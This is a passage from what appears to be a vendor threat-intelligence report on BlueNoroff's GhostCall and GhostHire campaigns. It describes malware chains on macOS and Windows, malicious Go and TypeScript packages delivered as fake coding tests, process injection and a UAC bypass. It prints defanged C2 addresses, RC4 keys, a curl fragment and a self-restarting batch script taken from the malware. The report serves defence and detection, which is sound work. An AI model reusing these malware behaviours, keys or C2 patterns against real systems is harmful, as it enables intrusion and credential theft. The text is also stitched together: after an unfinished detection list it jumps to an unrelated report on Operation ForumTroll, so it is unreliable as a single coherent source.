Likely install additional components by executing /bin/zsh /private/tmp/[random-chars]{10}/install /private/tmp/[random-chars]{10} /private/tmp/[random-chars]{10}/.result.
Check the .result file for the string “success”.
Send result to /report endpoint.
Increment the cid field and save the configuration.
Clean up all temp files.
We also observed the RooTroy backdoor deploying files named keyboardd to the /Library/keyboard directory and airmond to the /Library/airplay path, which were confirmed to be a keylogger and an infostealer.
RealTimeTroy chain
We recently discovered GillyInjector containing an encrypted RealTimeTroy.macOS payload from the public multiscanning service.
Injector: GillyInjector written in C++
baseApp: the file named “ChromeUpdates” in the same ZIP file (not secured)
Final payload: RealTimeTroy.macOS, written in Go
RealTimeTroy is a straightforward backdoor written in the Go programming language that communicates with a C2 server using the WSS protocol. We have secured both versions of this malware. In the second version, the baseApp named “ChromeUpdates” should be bundled along with the injector into a ZIP file. While the baseApp data is included in the same manner as in other GillyInjector instances, it is not actually used. Instead, the ChromeUpdates file is copied to the path specified as the first parameter and executed as the base application for the injection.
This will be explained in more detail in the GhostHire campaign section as the payload RealTimeTroy.macOS performs actions identical to the Windows version, with some differences in the commands. Like the Windows version, it injects the payload upon receiving command 16. However, it uses functionality similar to GillyInjector to inject the payload received from the C2. The password for AES decryption and the hardcoded baseApp within RealTimeTroy have been identified as being identical to the ones contained within the existing GillyInjector (MD5 76ACE3A6892C25512B17ED42AC2EBD05).
Additionally, two new commands have been added compared to the Windows version, specifically for handling commands via the pseudo-terminal. Commands 20 and 21 are used to respectively spawn and exit the terminal, which is used for executing commands received from command 8.
We found the vcs.time metadata within the second version of RealTimeTroy.macOS, which implies the commit time of this malware, and this value was set to 2025-05-29T12:22:09Z.
SneakMain chain
During our investigation into various incidents, we were able to identify another infection chain involving the macOS version of SneakMain in the victims’ infrastructures. Although we were not able to secure the installer malware, it would operate similar to the RooTroy chain, considering the behavior of its loader.
Installer: the primary installer (not secured)
Loader: Identified as Nimcore loader, written in Nim
Final payload: SneakMain.macOS, written in Nim
The Nimcore loader reads the SERVER_AUTH_KEY and CLIENT_AUTH_KEY environment variables upon execution. Given the flow of the RooTroy chain, we can assume that these values are provided through the plist file installed by an installer component. Next, the values are base64-decoded and then decrypted using the RC4 algorithm with the hard-coded key vnoknknklfewRFRewfjkdlIJDKJDF, which is consistently used throughout the SneakMain chain. The decrypted SERVER_AUTH_KEY value should represent the path to the next payload to be executed by the loader, while the decrypted CLIENT_AUTH_KEY value is saved to the configuration file located at /private/var/tmp/cfg.
We have observed that this loader was installed under the largest number of various names among malware as follows:
The payload loaded by the Nimcore loader has been identified as SneakMain.macOS, written in the Nim programming language. Upon execution, it reads its configuration from /private/var/tmp/cfg, which is likely created by the installer. The configuration’s original contents are recovered through RC4 decryption with the same key and base64 decoding. In the configuration, a C2 URL and machine ID (mid) are concatenated with the pipe character (“|”). Then SneakMain.macOS constructs a JSON object containing this information, along with additional fields such as the malware’s version, current time, and process list, which is then serialized and sent to the C2 server. The request includes the header Content-Type: application/json.
As a response, the malware receives additional AppleScript commands and uses the osascript -e command to execute them. If it fails to fetch the response, it tries to connect to a default C2 server every minute. There are two URLs hard-coded into the malware: hxxps://file-server[.]store/update and hxxps://cloud-server[.]store/update.
One interesting external component of this chain is the configuration updater. This updater verifies the presence of the configuration file and updates the C2 server address to hxxps://flashserve[.]store/update with the same encryption method, while preserving the existing mid value. Upon a successful update, it outputs the updated configuration to standard output.
Beside the Nim-based chain, we also identified a previous version of the SneakMain.macOS binary, written in Rust. This version only consists of a launcher and the Rust-based SneakMain. It is expected to create a corresponding plist for regular execution, but this has not yet been discovered. The Rust version supports two execution modes:
With arguments: the malware uses the C2 server and mid as parameters
Without arguments: the malware loads an encrypted configuration file located at /Library/Scripts/Folder Actions/Check.plist
This version collects a process list only at a specific time during execution, without checking newly created or terminated processes. The collected list is then sent to the C2 server via a POST request to hxxps://chkactive[.]online/update, along with the current time (uid) and machine ID (mid), using the Content-Type: application/json header. Similarly, it uses the osascript -e command to execute commands received from the C2 server.
DownTroy v2 chain
The DownTroy.macOS v2 infection chain is the latest variant, composed of four components, with the payload being an AppleScript and the rest written in Nim. It was already covered by SentinelOne under the name of “NimDoor”. The Nimcore loader in this chain masquerades as Google LLC, using an intentional typo by replacing the “l” (lowercase “L”) in “Google LLC” with an “I” (uppercase “i”).
Installer: the primary installer file named "installer", written in Nim
Dropper: a dropper file named "CoreKitAgent", written in Nim
Loader: an auxiliary loader file named "GoogIe LLC" and identified as Nimcore loader, written in Nim
Final payload: DownTroy.macOS, written in AppleScript
The installer, which is likely downloaded and initiated by a prior malicious script, serves as the entry point for this process. The dropper receives an interrupt (SIGINT) or termination signal (SIGTERM) like in the DownTroy v1 chain, recreating the components on disk to recover them. Notably, while the previously described RooTroy and SneakMain chains do not have this recovery functionality, we have observed that they configure plist files to automatically execute the Nimcore loader after one hour if the process terminates, and they retain other components. This demonstrates how the actor strategically leverages DownTroy chains to operate more discreetly, highlighting some of the key differences between each chain.
The installer should be provided with one parameter and will exit if executed without it. It then copies ./CoreKitAgent and ./GoogIe LLC from the current location to ~/Library/CoreKit/CoreKitAgent and ~/Library/Application Support/Google LLC/GoogIe LLC, respectively. Inside of the installer, com.google.update.plist (the name of the plist) is hard-coded to establish persistence, which is later referenced by the dropper and loader. The installer then concatenates this value, the given parameter, and the dropper’s filename into a single string, separated by a pipe (“|”).
This string is encrypted using the AES algorithm with a hard-coded key and IV, and the resulting encrypted data is then saved to the configuration file.
It fulfills its function by ultimately executing the copied dropper located at ~/Library/CoreKit/CoreKitAgent.
The dropper in the DownTroy v2 chain uses macOS’s kqueue alongside Nim’s async runtime to manage asynchronous control flow, similar to CosmicDoor, the Nimcore loader in the RooTroy chain, and the Nim version of SneakMain.macOS. The dropper monitors events via kqueue, and when an event is triggered, it resumes the corresponding async tasks through a state machine managed by Nim. The primary functionality is implemented in state 1 of the async state machine.
The dropper then reads the encrypted configuration from /private/tmp/.config and decrypts it using the AES algorithm with the hard-coded key and IV, which are identical to those used in the installer. By splitting the decrypted data with a “|”, it extracts the loader path, the plist path, and the parameter provided to the installer. Next, it reads all the contents of itself and the loader, and deletes them along with the plist file in order to erase any trace of their existence. When the dropper is terminated, a handler function is triggered that utilizes the previously read contents to recreate itself and the loader file. In addition, a hard-coded hex string is interpreted as ASCII text, and the decoded content is written to the plist file path obtained from the configuration.
In the contents above, variables enclosed in %’s are replaced with different strings based on hard-coded values and configurations. Both authentication key variables are stored as encrypted strings with the same AES algorithm as used for the configuration.
The core functionality of this loader is to generate an AppleScript file using a hard-coded hex string and save it as .ses in the same directory. The script, identified as DownTroy.macOS, is designed to download an additional malicious script from a C2 server. It is nearly identical to the one used in the DownTroy v1 chain, with the only differences being the updated C2 servers and the curl command option.
We have observed three variants of this chain, all of which ultimately deploy the DownTroy.macOS malware but communicate with different C2 servers. Variant 1 communicates with the same C2 server as the one configured in the DownTroy v1 chain, though it appears in a hex-encoded form.
curl –connect-timeout 30 –max-time 60 –no-buffer -X POST -H
The configuration file path used by variant 1 is the same as that of SneakMain. This indicates that the actor transitioned from the SneakMain chain to the DownTroy chain while enhancing their tools, and this variant’s dropper is identified as an earlier version that reads the plist file directly.
SysPhon chain
Unlike other infection chains, the SysPhon chain incorporates an older set of malware: the lightweight version of RustBucket and the known SugarLoader. According to a blog post by Field Effect, the actor deployed the lightweight version of RustBucket, which we dubbed “SysPhon”, alongside suspected SugarLoader malware and its loader, disguised as a legitimate Wi-Fi updater. Although we were unable to obtain the suspected SugarLoader malware sample or the final payloads, we believe with medium-low confidence that this chain is part of the same campaign by BlueNoroff. This assessment is based on the use of icloud_helper (a tool used for stealing user passwords) and the same initial infection vector as before: a fake Zoom link. It’s not surprising, as both malicious tools have already been attributed to BlueNoroff, indicating that the tools were adapted for the campaign.
Considering the parameters and behavior outlined in the blog post above, an AppleScript script deployed icloud_helper to collect the user’s password and simultaneously installed the SysPhon malware. The malware then downloaded SugarLoader, which connected to the C2 server and port pair specified as a parameter. This ultimately resulted in the download of a launcher to establish persistence. Given this execution flow and SugarLoader’s historical role in retrieving the KANDYKORN malware, it is likely that the final payload in the chain would be KANDYKORN or another fully-featured backdoor.
SysPhon is a downloader written in C++ that functions similarly to the third component of the RustBucket malware, which was initially developed in Rust and later rewritten in Swift. In March 2024, an ELF version of the third component compatible with Linux was uploaded to a multi-scanner service. In November 2024, SentinelOne reported on SysPhon, noting that it is typically distributed via a parent downloader that opens a legitimate PDF related to cryptocurrency topics. Shortly after the report, a Go version of SysPhon was also uploaded to the same scanner service.
SysPhon requires a C2 server specified as a parameter to operate. When executed, it generates a 16-byte random ID and retrieves the host name. It then enters a loop to conduct system reconnaissance by executing a series of commands:
The results of these commands are then sent to the specified C2 server inside a POST request with the following User-Agent header: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0). This User-Agent is the same as the one used in the Swift implementation of the RustBucket variant.
After sending the system reconnaissance data to the C2 server, SysPhon waits for commands. It determines its next action by examining the first character of the response it receives. If the response begins with 0, SysPhon executes the binary payload; if it’s 1, the downloader exits.
AI-powered attack strategy
While the video feeds for fake calls were recorded via the fabricated Zoom phishing pages the actor created, the profile images of meeting participants appear to have been sourced from job platforms or social media platforms such as LinkedIn, Crunchbase, or X. Interestingly, some of these images were enhanced with GPT-4o. Since OpenAI implemented the C2PA standard specification metadata to identify the generated images as artificial, the images created via ChatGPT include metadata that indicates their synthetic origin, which is embedded in file formats such as PNGs.
EXIF metadata of images generated by GPT-4o
Among these were images whose filenames were set to the target’s name. This indicates the actor likely used the target’s publicly available profile image to generate a suitable profile for use alongside the recorded video. Furthermore, the inclusion of Zoom’s legitimate favicon image leads us to assess with medium-high confidence that the actor is leveraging AI for image enhancement.
Victim’s profile image enhanced using GPT-4o
In addition, the secrets stealer module of SilentSiphon, secrets.sh, includes several comment lines. One of them uses a checkmark emoticon to indicate archiving success, although the comment was related to the backup being completed. Since threat actors rarely use comments, especially emoticons, in malware intended for real attacks, we suggest that BlueNoroff uses generative AI to write malicious scripts similar to this module. We assume they likely requested a backup script rather than an exfiltration script.
Comments that appear to be AI-generated in the secrets stealer module
The GhostHire campaign
The GhostHire campaign was less visible than GhostCall, but it also began as early as mid-2023, with its latest wave observed recently. It overlaps with the GhostCall campaign in terms of infrastructure and tools, but instead of using video calls, the threat actors pose as fake recruiters to target developers and engineers. The campaign is disguised as skill assessment to deliver malicious projects, exploiting Telegram bots and GitHub as delivery vehicles. Based on historical attack cases of this campaign, we assess with medium confidence that this attack flow involving Telegram and GitHub represents the latest phase, which started no later than April this year.
Initial access
The actor initiates communication with the target directly on Telegram. Victims receive a message with a job offer along with a link to a LinkedIn profile that impersonates a senior recruiter at a financial services company based in the United States.
Fake LinkedIn profile
We observed that the actor uses a Telegram Premium account to enhance their credibility by employing a custom emoji sticker featuring the company’s logo. They attempt to make the other party believe they are in contact with a legitimate representative.
Fake Telegram account
During the investigation, we noticed suspicious changes made to the Telegram account, such as a shift from the earlier recruiter persona to impersonating individuals associated with a Web3 multi-gaming application. The actor even changed their Telegram handle to remove the previous connection.
The same Telegram account changed to impersonate a Web3 company founder
During the early stages of our research and ongoing monitoring of publicly available malicious repositories, we observed a blog post published by a publicly cited target. In this post, the author shares their firsthand experience with a scam attempt involving the same malicious repositories we already identified. It provided us with valuable insight into how the group initiates contact with a target and progresses through a fake interview process.
Following up on initial communication, the actor adds the target to a user list for a Telegram bot, which displays the impersonated company’s logo and falsely claims to streamline technical assessments for candidates. The bot then sends the victim an archive file (ZIP) containing a coding assessment project, along with a strict deadline (often around 30 minutes) to pressure the target into quickly completing the task. This urgency increases the likelihood of the target executing the malicious content, leading to initial system compromise.
The project delivered through the ZIP file appears to be a legitimate DeFi-related project written in Go, aiming at routing cryptocurrency transactions across various protocols. The main project code relies on an external malicious dependency specified in the go.mod file, rather than embedding malicious code directly into the project’s own files. The external project is named uniroute. It was published in the official Go packages repository on April 9, 2025.
We had observed this same repository earlier in our investigation, prior to identifying the victim’s blog post, which later validated our findings. In addition to the Golang repository, we discovered a TypeScript-based repository uploaded to GitHub that has the same download function.
Uniroute malicious package is referenced via go.mod in the DeFi-related project
Upon execution of the project, the malicious package is imported, and the GetUniRoute() function is called during the initialization of the unirouter at the following path: contracts/UniswapUniversalRouter.go. This function call acts as the entry point for the malicious code.
The main malicious logic is implemented in the following files:
uniroute.go: the main entry point
win.go: Windows-specific malicious code
lin.go: Linux-specific malicious code
dar.go: macOS (Darwin)-specific malicious code
The main entry point of the package includes a basic base64-encoded blob that is decoded to a URL hosting the second-stage payload: hxxps://download.datatabletemplate[.]xyz/account/register/id=8118555902061899&secret=QwLoOZSDakFh.
Base64-encoded C2 URL in the malicious package
When the User-Agent of the running platform is detected, the corresponding payload is retrieved and executed. The package utilizes Go build tags to execute different code depending on the operating system.
Windows (win.go). Downloads its payload to %TEMP%\init.ps1 and performs anti-antivirus checks by looking for the presence of the 360 Security process. If the 360 antivirus is not detected, the malware generates an additional VBScript wrapper at %TEMP%\init.vbs. The PowerShell script is then covertly executed with a bypassed execution policy, without displaying any windows to the user.
Linux (lin.go). Downloads its payload to /tmp/init and runs it as a bash script with nohup, ensuring the process continues running even after the parent process terminates.
macOS (dar.go). Similarly to Linux, downloads its payload to /tmp/init and uses osascript with nohup to execute it.
We used our open source package monitoring tool to discover that the actor had published several malicious Go packages with behavior similar to uniroute. These packages are imported into repositories and executed within a specific section of the code.
Package
Version
Published date
Role
sorttemplate
v1.1.1 ~ v1.1.5
Jun 11, 2024 ~ Apr 17, 2025
Malicious dependency
sort
v1.1.2 ~ v1.1.7
Nov 10, 2024 ~ Apr 17, 2025
Refers to the malicious sorttemplate
sorttemplate
v1.1.1
Jan 10, 2025
Malicious dependency
uniroute
v1.1.1 ~ v2.1.5
Apr 2, 2025 ~ Apr 9, 2025
Malicious dependency
BaseRouter
–
Apr 5, 2025 ~ Apr 7, 2025
Malicious dependency
Malicious TypeScript project
Not only did we observe attacks involving malicious Golang packages, but we also identified a malicious Next.js project written in TypeScript and uploaded to GitHub. This project includes TypeScript source code for an NFT-related frontend task. The project acts in a similar fashion to the Golang ones, except that there is no dependency. Instead, a malicious TypeScript file within the project downloads the second-stage payload from a hardcoded URL.
Malicious TypeScript-based project
The malicious behavior is implemented in pages/api/hello.ts, and the hello API is fetched by NavBar.tsx with fetch('/api/hello').
Upon accessing the URL with the correct User-Agent, corresponding scripts are downloaded for each OS: PowerShell for Windows, bash script for Linux, and AppleScript for macOS, which all turned out to be the DownTroy malware. It is the same as the final payload in the DownTroy chains from the GhostCall campaign and has been expanded to include versions for both Windows and Linux. In the GhostHire campaign, this script serves as the initial downloader, fetching various malware chains from a file hosting server.
DownTroy delivery process
Over the course of tracking this campaign, we have observed multiple gradual updates to these DownTroy scripts. The final version shows that the PowerShell code is XOR-encrypted, and the AppleScript has strings split by individual characters. Additionally, all three DownTroy strains collect comprehensive system information including OS details, domain name, host name, username, proxy settings, and VM detection alongside process lists.
Full infection chain on Windows
In January 2025, we identified a victim who had executed a malicious TypeScript project located at <company name>-wallet-portfolio, which followed the recruiter persona from the financial company scenario described earlier. The subsequent execution of the malicious script created the files init.vbs and init.ps1 in the %temp% directory.
The DownTroy script (init.ps1) was running to download additional malware from an external server every 30 seconds. During the attack, two additional script files, chsplitobf.ps1 and sinst.bat, were downloaded and executed on the infected host. Though we weren’t able to obtain the files, based on our detection, we assess the PowerShell script harvests credentials stored in a browser, similar to SilentSiphon on macOS.
In addition, in the course of the attack, several other payloads written in Go and Rust rather than scripts, were retrieved from the file hosting server dataupload[.]store and executed.
Overall Windows infection chain
New method for payload delivery
In contrast to GhostCall, DownTroy.Windows would retrieve a base64-encoded binary blob from the file hosting server and inject it into the cmd.exe process after decoding. This blob typically consists of metadata, a payload, and the loader code responsible for loading the payload. The first five bytes of the blob represent a CALL instruction that invokes the loader code, followed by 0x48 bytes of metadata. The loader, which is 0xD6B bytes in size, utilizes the metadata to load the payload into memory. The payload is written to newly allocated space, then relocated, and its import address table (IAT) is rebuilt from the same metadata. Finally, the payload is executed with the CreateThread function.
Binary blob structure
The metadata contains some of the fields from PE file format, such as an entry point of the payload, imagebase, number of sections, etc, needed to dynamically load the payload. The payload is invoked by the loader by referencing the metadata stored separately, so it has a corrupted COFF header when loaded. Generally, payloads in PE file format should have a legitimate header with the corresponding fields, but in this case, the top 0x188 bytes of the PE header of the payload are all filled with dummy values, making it difficult to analyze and detect.
UAC bypass
We observed that the first thing the actor deployed after DownTroy was installed was the User Account Control (UAC) bypass tool. The first binary blob fetched by DownTroy contained the payload bypassing UAC that used a technique disclosed in 2019 by the Google Project Zero team. This RPC-based UAC bypass leveraging the 201ef99a-7fa0-444c-9399-19ba84f12a1a interface was also observed in the KONNI malware execution chain in 2021. However, the process that obtains the privilege had been changed from Taskmgr.exe to Computerdefaults.exe.
The commands executed through this technique are shown below. In this case, this.exe is replaced by the legitimate explorer.exe due to parent PID spoofing.
In other words, the actor was able to run DownTroy with elevated privileges, which is the starting point for all further actions. It also executed init.vbs, the launcher that runs DownTroy, with elevated privileges.
RooTroy.Windows in Go
RooTroy.Windows is the first non-scripted malware installed on an infected host. It is a simple downloader written in Go, same to the malware used in the GhostCall campaign. Based on our analysis of RooTroy’s behavior and execution flow, it was loaded and executed by a Windows service named NetCheckSvc.
Although we did not obtain the command or installer used to register the NetCheckSvc service, we observed that the installer had been downloaded from dataupload[.]store via DownTroy and injected into the legitimate cmd.exe process with the parameter -m yuqqm2ced6zb9zfzvu3quxtrz885cdoh. The installer then probably created the file netchksvc.dll at C:\Windows\system32 and configured it to run as a service named NetCheckSvc. Once netchksvc.dll was executed, it loaded RooTroy into memory, which allowed it to operate in the memory of the legitimate svchost.exe process used to run services in Windows.
RooTroy.Windows initially retrieves configuration information from the file C:\Windows\system32\smss.dat. The contents of this file are decrypted using RC4 with a hardcoded key: B3CC15C1033DE79024F9CF3CD6A6A7A9B7E54A1A57D3156036F5C05F541694B7. This key is different from the one used in the macOS variant of this malware, but the same C2 URLs were used in the GhostCall campaign: readysafe[.]xyz and safefor[.]xyz.
Then RooTroy.Windows creates a string object {"rt": "5.0.0"}, which is intended to represent the malware’s version. This string is encrypted using RC4 with another hardcoded string, C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF. It is the same as the key used in RooTroy.macOS, and it is stored at C:\ProgramData\Google\Chrome\version.dat.
Next, the malware collects device information, including lists of current, new and terminated processes, OS information, boot time, and more, which are all structured in a JSON object. It then sends the collected data to the C2 server using the POST method with the Content-Type: application/json header.
The response is parsed into a JSON object to extract additional information required for executing the actual command. The commands are executed based on the value of the type field in the response, with each command processing its corresponding parameters in the required object.
Value of type
Description
0
Send current configuration to C2
1
Update received configuration with the configuration file (smss.dat)
2
Payload injection
3
Self-update
If the received value of type is 2 or 3, the responses include a common source field within the parsed data, indicating where the additional payload originates. Depending on the value of source, the data field in the parsed data contains either the file path where the payload is stored on the disk, the C2 server address from which it should be downloaded, or the payload itself encoded in base64. Additionally, if the cipher field is set to true, the key field is used as the RC4 decryption key.
Value of source
Description
Value of data
0
Read payload from a specific file
File path
1
Fetch payload from another server
C2 address
2
Delivered by the current JSON object
base64-encoded payload
If the value of type is set to 2, the injection mode, referred to as peshooter in the code, is activated to execute an additional payload into memory. This mode checks whether the payload sourced from the data field is encrypted by examining the cipher value as a flag in the parsed data. If it is, the payload is decrypted with the RC4 algorithm. If no key is provided in the key value, a hardcoded string, A6C1A7CE43B029A1EF4AE69B26F745440ECCE8368C89F11AC999D4ED04A31572, is used as the default key.
If the pid value is not specified (e.g., set to -1), the process with the name provided in the process field is executed in suspended mode, with the optional argument value as its input. Additionally, if a sid value is provided at runtime, a process with the corresponding session ID is created. If a pid value is explicitly given, the injection is performed into that specific process.
Before performing the injection, the malware enables the SeDebugPrivilege privilege for process injection and unhooks the loaded ntdll.dll for the purpose of bypassing detection. This is a DLL unhooking technique that dynamically loads and patches the .text section of ntdll.dll to bypass the hooking of key functions by security software to detect malicious behavior.
Once all the above preparations are completed, the malware finally injects the payload into the targeted process.
If the value of type is set to 3, self-update mode is activated. Similar to injection mode, it first checks whether the payload sourced from the data is encrypted and, if so, decrypts it using RC4 with a hardcoded key: B494A0AE421AFE170F6CB9DE2C1193A78FBE16F627F85139676AFC5D9BFE93A2. A random 32-byte string is then generated, and the payload is encrypted using RC4 with this string as the key. The encrypted payload is stored in the file located at C:\Windows\system32\boot.sdl, while the generated random key is saved unencrypted in C:\Windows\system32\wizard.sep. This means the loader will read the wizard.sep file to retrieve the RC4 key, use it to decrypt the payload from boot.sdl, and then load it.
After successfully completing the update operation, the following commands are created under the filename update-[random].bat in the %temp% directory:
@echo off
set SERVICE_NAME=NetCheckSvc
sc stop %SERVICE_NAME% >nul 2>&1
sc start %SERVICE_NAME% >nul 2>&1
start "" cmd /c del "%~f0" >nul 2>&1
This batch script restarts a service called NetCheckSvc and self-deletes, which causes the loader netchksvc.dll to be reloaded. In other words, the self-update mode updates RooTroy itself by modifying two files mentioned above.
According to our telemetry, we observed that the payload called RealTimeTroy was fetched by RooTroy and injected into cmd.exe process with the injected wss://signsafe[.]xyz/update parameter.
RealTimeTroy in Go
The backdoor requires at least two arguments: a simple string and a C2 server address. Before connecting to the given C2 server, the first argument is encrypted using the RC4 algorithm with the key 9939065709AD8489E589D52003D707CBD33AC81DC78BC742AA6E3E811BA344C and then base64 encoded. In the observed instance, this encoded value is passed to the “p” (payload) field in the request packet.
The entire request packet is additionally encrypted using RC4 algorithm with the key 4451EE8BC53EA7C148D8348BC7B82ACA9977BDD31C0156DFE25C4A879A1D2190. RealTimeTroy then sends this encrypted message to the C2 server to continue communication and receive commands from the C2.
Then the malware receives a response from the C2. The value of “e” (event) within the response should be 5, and the value of “p” is decoded using base64 and then decrypted using RC4 with the key 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, which is deserialized in JSON. The command is extracted from the “c” (command) field in the JSON object, and the malware performs specific actions according to the command.
Command
Description
Parameter from C2
1
Get list of subfiles
Directory path
2
Wipe file
File path
3
Read file
File path
4
Read directory
Directory path
5
Get directory information
Directory path
6
Get process information
–
7
Terminate process
Process ID
8
Execute command
Command line
10
Write file
File path, content
11
Change work directory
Directory path
12
Get device information
–
13
Get local drives
–
14
Delete file
File path
15
Cancel command
16
File download
Data for file download
19
Process injection
Data for process injection
Upon receiving the file download command (16), the d (data) field in the response contains a JSON object. If the u (url) field is initialized, a connection is established to the specified URL using the m (method) and h (headers) fields provided in the same JSON object. If the connection returns a 200 status code (success), the response body is written to the file path indicated by the r (rpath) value in the response.
While the u value is not initialized, the malware writes the value of the b (buffer) field from the response to the path provided through the r field. It continues writing b until the e (eof) flag is set and then sends the xxHash of the total downloaded contents to the C2 server. This allows for the downloading of the larger file contents from the C2 server.
When receiving the process injection command (19), the d in the response includes another JSON object. If the l (local) flag within this object is set to true, a t (total) amount of data is read from b starting at the f (from) position specified in the object. The xxHash value of b is then validated to ensure it matches the provided h (hash) value. If the l flag is false, b is instead read from the file path specified as fp (file path). The payload is then injected into cmd.exe with the same method as the peshooter used in RooTroy.
The result is then serialized and secured with a combination of RC4 encryption and base64 encoding before being sent to the C2 server. The key used for encryption, 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, is the same key used to decrypt the response object.
CosmicDoor.Windows written in Go
CosmicDoor.Windows is the Windows version of CosmicDoor written in Go and has the same features as macOS versions. The C2 server address wss://second.systemupdate[.]cloud/client is hardcoded in the malware. It processes a total of seven commands, passed from the C2.
Command
Description
Parameter from C2
234
Get device information
–
333
No operation
Unknown
44
Update configuration
Interval time, UID, C2 server address
78
Get current work directory
–
1
Get interval time
–
12
Execute commands OR code injection
Command line
34
Set current work directory
Directory path
The command 234 is for collecting device information such as user name, computer name, OS, architecture, Windows version, and boot time.
The command 12 serves two primary functions. The first is to execute a command line passed as a parameter using cmd.exe /c, while the second is to perform code injection. This injection capability is nearly identical to the peshooter functionality found in RooTroy, but it is considered an enhanced version.
Within CosmicDoor, the peshooter feature can accept up to six parameters using the shoot or shoote command to configure code injection options. If a file path is provided in the PATH parameter, the next payload is read from that file on the system. Conversely, if a string beginning with http is specified, the next payload is retrieved through HTTP communication instead.
Num
Parameter
Description
1
shoot or shoote
The next payload is either plain or base64-encoded
2
SID
Session ID to be used when executing notepad.exe
3
PID
Process ID of the targeted process to be injected
4
REASON
If set to -1, ARGS is passed to the injected payload
5
PATH
Read payload from local file or fetch it from external server
6
ARGS
Parameters to be passed
7
FUNC
Export function name to execute
Then it checks the SID, PID, and REASON parameters. If PID is not passed, CosmicDoor defaults to creating notepad.exe in suspended mode and assigns it a target for injection, and the SID determines the session ID that runs notepad.exe. If no SID is passed, it defaults to the token of the current process. REASON means to pass ARGS to the payload by default if no value greater than 0 is passed.
Finally, CosmicDoor allocates space inside of the targeted process’s memory space for the payload, the hardcoded shellcode for the loader, and ARGS to write the data, and then invokes the loader code to execute the final payload from memory. If FUNC is set at this point, it calls the corresponding export function of the loaded payload. This usage is also well displayed inside CosmicDoor.
"ERROR: Invalid syntax.\n"
"Examples:\n"
"\tshoot [SID] [PID] [REASON] [PATH] [ARGS] [FUNC]\n"
"Parameter List:\n"
"\t[SID] Session ID.\n"
"\t[PID] Process ID.\n"
"\t[REASON] reason.\n"
"\t[PATH] the path of PE file.\n"
"\t[ARGS] the arguments of PE file.\n"
"\t[FUNC] Export function of PE file.\n";
Bof loader written in Rust
Bof loader is assumed to be one of the payloads downloaded from dataupload[.]store by DownTroy. It is a loader protected by Themida and written in Rust. The malware was created with the name nlsport.dll, and unlike other malware, it is registered with security support providers and loaded with SYSTEM privileges by the LSASS process at Windows boot time. In this instance, the malicious behavior is implemented in the SpLsaModeInitialize export function inside the DLL file and it contains the string that indicates its work path C:\Users\Molly.
The loader employs the NTDLL unhooking technique, a method also used by other malware families. After unhooking, the loader reads two files. The first one contains an RC4 key, while the second holds a payload encrypted with that key.
RC4 key: C:\Windows\system32\wand.bin
Encrypted payload: C:\Windows\system32\front.sdl.
The loader then decrypts the payload, allocates memory in the current process, and executes the decrypted shellcode via the NtCreateThreadEx function. This is very similar to the injection feature implemented within RooTroy, written in Golang.
During our focused monitoring of the threat actor’s infrastructure, we discovered that one of the instances was signed with a valid certificate from a legitimate Indian company.
Victims
Using our telemetry, we detected infection events from various countries affected by both campaigns. We have observed several infected macOS hosts located in Japan, Italy, France, Singapore, Turkey, Spain, Sweden, India and Hong Kong infected by the GhostCall campaign since 2023. The victims of the GhostHire campaign, which resumed its activities starting this year, have been identified as individuals in Japan and Australia.
We observed that many stolen videos and profile images have been uploaded to the actor’s public storage server. These were utilized to convince victims in the course of the GhostCall campaign. We closely examined the uploaded data and found that most victims were executives at tech companies and venture capital funds in the Web3/blockchain industry located in the APAC region, particularly in Singapore and Hong Kong.
Attribution
In 2022, we already uncovered the PowerShell script that BlueNoroff heavily relied on to collect base system information and execute commands from its C2 server. This script is considered to be an earlier version of DownTroy. Moreover, leveraging trusted resources attributed to venture capital funds to attack the cryptocurrency-related industry was a primary attack method of the SnatchCrypto campaign. Additionally, the tendency to create phishing domains using the names of venture capital firms and the use of Hostwinds hosting to build these phishing sites also overlaps with past cases of BlueNoroff observed in our previous research.
In late-2023, we provided an insight into the early stage of the BlueNoroff’s GhostCall campaign to our customers. The actor utilized JavaScript and AppleScript to raise an issue regarding IP access control on Windows and macOS respectively. In this instance, the JavaScript ultimately downloaded a VBScript file, which has been identified as a VBScript version of DownTroy. This version shares a C2 server with CosmicDoor.Windows. The AppleScript was used against a victim in August 2023, and fetched from a fake domain support.video-meeting[.]online, which shared its resolved IP address (104.168.214[.]151) with the ObjCShellZ malware’s C2 server swissborg[.]blog.
We assess with medium-high confidence that BlueNoroff is behind both campaigns when comprehensively considering the infrastructure, malware, attack methods, final targets, and motives behind the attacks used in both campaigns.
Conclusion
Our research indicates a sustained effort by the actor to develop malware targeting both Windows and macOS systems, orchestrated through a unified command-and-control infrastructure. The use of generative AI has significantly accelerated this process, enabling more efficient malware development with reduced operational overhead. Notably, AI will make it easier to introduce new programming languages and add new features, thereby complicating detection and analysis tasks. Furthermore, AI supports the actor’s ability to maintain and expand their infrastructure, enhancing their overall productivity.
Beyond technical capabilities, the actor leverages AI to refine sophisticated social engineering tactics. The AI-powered, tailored approach enables the attackers to convincingly disguise themselves, operating with detailed information, allowing for more meticulous targeted attacks. By combining compromised data with AI’s analytical and productive capabilities, the actor’s attack success rate has demonstrably increased.
The actor’s targeting strategy has evolved beyond simple cryptocurrency and browser credential theft. Upon gaining access, they conduct comprehensive data acquisition across a range of assets, including infrastructure, collaboration tools, note-taking applications, development environments, and communication platforms (messengers). This harvested data is exploited not only against the initial target but also to facilitate subsequent attacks, enabling the actor to execute supply chain attacks and leverage established trust relationships to impact a broader range of users.
Kaspersky products detect the malware used in this attack with the following verdicts:
In March 2025, Kaspersky detected a wave of infections that occurred when users clicked on personalized phishing links sent via email. No further action was required to initiate the infection; simply visiting the malicious website using Google Chrome or another Chromium-based web browser was enough.
The malicious links were personalized and extremely short-lived to avoid detection. However, Kaspersky’s technologies successfully identified a sophisticated zero-day exploit that was used to escape Google Chrome’s sandbox. After conducting a quick analysis, we reported the vulnerability to the Google security team, who fixed it as CVE-2025-2783.
Acknowledgement for finding CVE-2025-2783 (excerpt from the security fixes included into Chrome 134.0.6998.177/.178)
We dubbed this campaign Operation ForumTroll because the attackers sent personalized phishing emails inviting recipients to the Primakov Readings forum. The lures targeted media outlets, universities, research centers, government organizations, financial institutions, and other organizations in Russia. The functionality of the malware suggests that the operation’s primary purpose was espionage.
